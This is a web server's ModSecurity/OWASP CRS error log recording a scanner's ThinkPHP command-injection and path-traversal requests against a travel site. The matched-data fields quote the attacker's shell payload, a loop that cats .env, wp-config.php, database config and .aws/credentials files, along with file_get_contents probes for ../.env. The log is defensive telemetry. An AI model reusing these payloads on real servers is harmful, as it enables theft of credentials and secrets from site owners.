[Fri Jul 17 08:55:28.731967 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|=)\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]*(?:s(?:[\\\\\\\\'\\"]*(?:b[\\\\\\\\'\\"]*_[\\\\\\\\'\\"]*r[\\\\\\\\'\\"]*e[\\\\\\\\'\\"]*l[\\\\\\\\' ..." at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "464"] [id "932150"] [msg "Remote Command Execution: Direct Unix Command Execution"] [data "Matched Data: echo  found within ARGS:server[REQUEST_METHOD]: echo AHMADSCAN_THINKPHP_ff746253;for f in .env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php  [hostname "2s-travels.com"] [uri "/"] [unique_id "almgqFCBpfuYyhJ140vSzAAAAB4"]
[Fri Jul 17 08:55:28.732864 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:server[REQUEST_METHOD]: .env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/config/database.php application/application/application/application/extra/database.php app/etc/env.php sites/default/.aws/credentials/var/www/html/.env/var/www/html/.env.local/var/www/html/.env.production/var/www/html/.env.backup/var/www/html/.env.save/var/..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgqFCBpfuYyhJ140vSzAAAAB4"]
[Fri Jul 17 08:55:28.774150 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 40)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgqFCBpfuYyhJ140vSzAAAAB4"]
[Fri Jul 17 08:55:29.032662 2026] [ssl:error] [pid 2030774:tid 2030774] (70014)End of file found: [client 66.85.158.91:43454] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:55:29.747942 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 40 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=20,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 40, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgpYbYoYGvYnmnM82CTAAAAAs"]
[Fri Jul 17 08:55:31.154919 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 40 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=20,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 40, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgqC0HS8lGbZyK8qt3OwAAACM"]
[Fri Jul 17 08:55:31.648480 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:get[]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:get[]: echo AHMADSCAN_THINKPHP_ff746253;for f in .env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php ../.aws/credentials ..."] [severity "CRITICAL"] [ver "OWASP_CRS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgqyvekYYQ8uns4MwlgwAAAA0"]
[Fri Jul 17 08:55:31.651384 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:get[]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:get[]: echo AHMADSCAN_THINKPHP_ff746253;for f in .env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php ../.aws/credentials ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgqyvekYYQ8uns4MwlgwAAAA0"]
[Fri Jul 17 08:55:31.653106 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:get[]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:get[]: echo ahmadscan_thinkphp_ff746253 for f in .env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php ../.aws/credentials ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgqyvekYYQ8uns4MwlgwAAAA0"]
[Fri Jul 17 08:55:31.654015 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:get[]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:get[]: .env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/config/database.php application/application/application/application/extra/database.php app/etc/env.php sites/default/.aws/credentials /var/www/html/.env /var/www/html/.env.local /var/www/html/.env.production /var/www/html/.env.backup /var/www/html/.env.save /var/www/html..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgqyvekYYQ8uns4MwlgwAAAA0"]
[Fri Jul 17 08:55:31.655643 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]* ..." at ARGS:get[]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "123"] [id "932100"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: ; echo \\x22--- FILE $f ---\\x22; if echo \\x22$f\\x22 | grep -q environ; then tr '\\x5c0' '\\x5cn' < \\x22$f\\x22; else cat \\x22$f\\x22; fi; fi; done found within ARGS:get[]: echo AHMADSCAN_THINKPHP_ff746253;for f in .env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../a..."] [severity "CRITI [hostname "2s-travels.com"] [uri "/"] [unique_id "almgqyvekYYQ8uns4MwlgwAAAA0"]
[Fri Jul 17 08:55:31.656105 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:m[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*q[\\"\\\\^]*l(?:[\\"\\\\^]*(?:d[\\"\\\\^]*u[\\"\\\\^]*m[\\"\\\\^]*p(?:[\\"\\\\^]*s[\\"\\\\^ ..." at ARGS:get[]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: ; echo found within ARGS:get[]: echo AHMADSCAN_THINKPHP_ff746253;for f in .env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php ../.aws/credential..."] [severity "CR [hostname "2s-travels.com"] [uri "/"] [unique_id "almgqyvekYYQ8uns4MwlgwAAAA0"]
[Fri Jul 17 08:55:31.657632 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|=)\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]*(?:s(?:[\\\\\\\\'\\"]*(?:b[\\\\\\\\'\\"]*_[\\\\\\\\'\\"]*r[\\\\\\\\'\\"]*e[\\\\\\\\'\\"]*l[\\\\\\\\' ..." at ARGS:get[]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "464"] [id "932150"] [msg "Remote Command Execution: Direct Unix Command Execution"] [data "Matched Data: echo  found within ARGS:get[]: echo AHMADSCAN_THINKPHP_ff746253;for f in .env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php ../.aws/credentials..."] [severity [hostname "2s-travels.com"] [uri "/"] [unique_id "almgqyvekYYQ8uns4MwlgwAAAA0"]
[Fri Jul 17 08:55:31.658595 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:get[]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:get[]: .env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/config/database.php application/application/application/application/extra/database.php app/etc/env.php sites/default/.aws/credentials/var/www/html/.env/var/www/html/.env.local/var/www/html/.env.production/var/www/html/.env.backup/var/www/html/.env.save/var/www/html/.env.old..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgqyvekYYQ8uns4MwlgwAAAA0"]
[Fri Jul 17 08:55:31.702343 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 40)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgqyvekYYQ8uns4MwlgwAAAA0"]
[Fri Jul 17 08:55:31.711341 2026] [security2:error] [pid 2029573:tid 2029573] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almgq4bYoYGvYnmnM82CTQAAAAs"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 08:55:31.711371 2026] [security2:error] [pid 2029573:tid 2029573] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almgq4bYoYGvYnmnM82CTQAAAAs"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 08:55:32.163291 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 40 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=20,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 40, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgqFCBpfuYyhJ140vSzAAAAB4"]
[Fri Jul 17 08:55:32.278389 2026] [security2:error] [pid 1993668:tid 1993668] [client 20.226.66.230:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/dragon-global": Permission denied [hostname "www.dragon.lk"] [uri "/index.php"] [unique_id "almgrBAi3pC6yjXGNq2AfQAAAAU"]
[Fri Jul 17 08:55:32.278417 2026] [security2:error] [pid 1993668:tid 1993668] [client 20.226.66.230:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/dragon-ip": Permission denied [hostname "www.dragon.lk"] [uri "/index.php"] [unique_id "almgrBAi3pC6yjXGNq2AfQAAAAU"]
[Fri Jul 17 08:55:33.119338 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 40 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=20,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 40, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgqyvekYYQ8uns4MwlgwAAAA0"]
[Fri Jul 17 08:55:33.269146 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:server[REQUEST_METHOD]: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgrXRlmrtCoY_COpcmEAAAAAg"]
[Fri Jul 17 08:55:33.269204 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:server[REQUEST_METHOD]: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgrXRlmrtCoY_COpcmEAAAAAg"]
[Fri Jul 17 08:55:33.269512 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "file_get_contents" at ARGS:filter[]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "295"] [id "933150"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: file_get_contents found within ARGS:filter[]: file_get_contents"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgrXRlmrtCoY_COpcmEAAAAAg"]
[Fri Jul 17 08:55:33.270297 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgrXRlmrtCoY_COpcmEAAAAAg"]
[Fri Jul 17 08:55:33.878117 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgrXRlmrtCoY_COpcmEAAAAAg"]
[Fri Jul 17 08:55:34.125278 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:server[REQUEST_METHOD]: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgrroj0IkvhSCYadmBzwAAAAQ"]
[Fri Jul 17 08:55:34.125320 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:server[REQUEST_METHOD]: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgrroj0IkvhSCYadmBzwAAAAQ"]
[Fri Jul 17 08:55:34.125649 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "file_get_contents" at ARGS:filter[]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "295"] [id "933150"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: file_get_contents found within ARGS:filter[]: file_get_contents"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgrroj0IkvhSCYadmBzwAAAAQ"]
[Fri Jul 17 08:55:34.126480 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgrroj0IkvhSCYadmBzwAAAAQ"]
[Fri Jul 17 08:55:34.652825 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgrroj0IkvhSCYadmBzwAAAAQ"]
[Fri Jul 17 08:55:34.886417 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:server[REQUEST_METHOD]: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgrqquHSHoCJK_V0SBcAAAABs"]
